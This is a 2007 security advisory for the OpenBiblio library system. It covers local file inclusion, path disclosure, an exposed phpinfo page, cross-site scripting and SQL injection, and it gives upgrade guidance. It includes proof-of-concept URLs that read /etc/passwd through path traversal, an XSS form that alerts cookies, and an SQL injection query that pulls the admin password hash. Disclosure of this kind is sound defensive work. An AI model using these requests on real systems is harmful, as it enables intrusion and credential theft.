– Security Advisory –<\/p>\n
– OpenBiblio 0.5.2-pre4 and prior multiple vulnerabilities –
\n—————————————————-<\/p>\n
Product: OpenBiblio
\nVersion: Version 0.5.2 Prerelease 4 and prior is affected
\nUrl: http:\/\/obiblio.sourceforge.net\/
\nAffected by: Full path disclosure, local file include, phpinfo disclosure, multiple Cross Site Scripting, SQL injection<\/p>\n
I. Introduction.<\/p>\n
OpenBiblio is an easy to use, automated library system written in PHP containing OPAC, circulation,
\ncataloging, and staff administration functionality.
\nOpenBiblio library administration offers an intuitive interface with broad category tabs and sidebar.<\/p>\n
II. Description<\/p>\n
OpenBiblio suffers multiple bugs.<\/p>\n
1) Local File Include vulnerability: its posible to include any arbitrary local file using shared\/help.php file<\/p>\n
– Code –
\nif (isset($_GET[“page”])) {
\n$page = $_GET[“page”];
\n} else {
\n$page = “contents”;
\n}
\ninclude(“..\/locale\/”.OBIB_LOCALE.”\/help\/”.$page.”.php”);<\/p>\n
– PoC –
\nhttp:\/\/site\/openbiblio\/shared\/help.php?page=..\/..\/..\/..\/..\/..\/etc\/passwd%00<\/p>\n
2) Local File Include (2) (only works with register_globals On and for non php files magic_quotes_gpc must be Off)<\/p>\n
– Code –
\n<?php include(“..\/navbars\/”.$tab.”.php”);?><\/p>\n
– PoC –
\nhttp:\/\/site\/openbiblio\/shared\/header.php?tab=..\/..\/..\/etc\/passwd%00<\/p>\n
3) This link will show phpinfo<\/p>\n
http:\/\/site\/openbiblio\/phpinfo.php<\/p>\n
Remove it!<\/p>\n
4) Path Disclosure<\/p>\n
Some samples:<\/p>\n
http:\/\/site\/openbiblio\/shared\/footer.php
\nFatal error: Call to a member function on a non-object in \/httpdocs\/openbiblio\/shared\/footer.php on line 18<\/p>\n
http:\/\/site\/openbiblio\/circ\/mbr_fields.php
\nFatal error: Call to a member function on a non-object in \/httpdocs\/openbiblio\/circ\/mbr_fields.php on line 14<\/p>\n
http:\/\/site\/openbiblio\/admin\/custom_marc_form_fields.php
\nFatal error: Cannot instantiate non-existent class: dmquery in \/httpdocs\/openbiblio\/admin\/custom_marc_form_fields.php on line 14<\/p>\n
Please, turn display_errors to Off in php.ini<\/p>\n
6) Multiple Cross Site Scripting, an attacker can perform an XSS attack that allows him to access the targeted user cookies<\/p>\n
Some samples:<\/p>\n
http:\/\/site\/openbiblio\/admin\/staff_del_confirm.php?UID=1&LAST=[XSS]&FIRST=[XSS]<\/p>\n
http:\/\/site\/openbiblio\/admin\/theme_del_confirm.php?themeid=6&name=[XSS]<\/p>\n
In \/admin\/theme_preview.php an attacker can inject an XSS in the var themeName with method POST.
\nhere is a poc:<\/p>\n
<form action=”http:\/\/site\/openbiblio\/admin\/theme_preview.php” method=”post”>
\n<input type=”text” name=”themeName” size=”40″ value=”<script>alert(document.cookie);<\/script>”><br><br>
\n<input type=”submit” value=”doit”>
\n<\/form><\/p>\n
try with: <script>alert(document.cookie);<\/script><\/p>\n
6) SQL injection (session with report rol is needed to exploit this bug)<\/p>\n
Any user with report rol can access any field of the database, including admin md5 hash.<\/p>\n
http:\/\/site\/openbiblio\/reports\/report_criteria.php?reset=Y&rptid=balanceDueList<\/p>\n
&title=Balance+Due+Member+List&sql=%0A++++[SQL]%0A++<\/p>\n
with this an attacker can get the md5 admin password:<\/p>\n
http:\/\/site\/openbiblio\/reports\/report_criteria.php?reset=Y&rptid=balanceDueList&title=Balance+Due<\/p>\n
+Member+List&sql=%0A++++select+username,pwd+from+staff%20where+userid=1%0A++<\/p>\n
then click “run report” and view the results, besides, you can choose between html and csv format ;)<\/p>\n
staff.username staff.pwd
\nadmin 21232f297a57a5a743894a0e4a801fc3<\/p>\n
III. Timeline<\/p>\n
20\/08\/2006 – Bugs discovered
\n25\/08\/2006 – Vendor Contacted
\n30\/08\/2006 – Release 0.5.2 (parcial patch)
\n21\/02\/2007 – Release 0.6.0 (full patch)
\n28\/12\/2007 – Advisory Disclosure<\/p>\n
IV. Solution<\/p>\n
Upgrade to 0.6.0 from http:\/\/obiblio.sourceforge.net\/
\nGood work!<\/p>\n
V. Credits<\/p>\n
Juan Galiana <jgaliana gmail com><\/p>\n
Regards<\/p>\n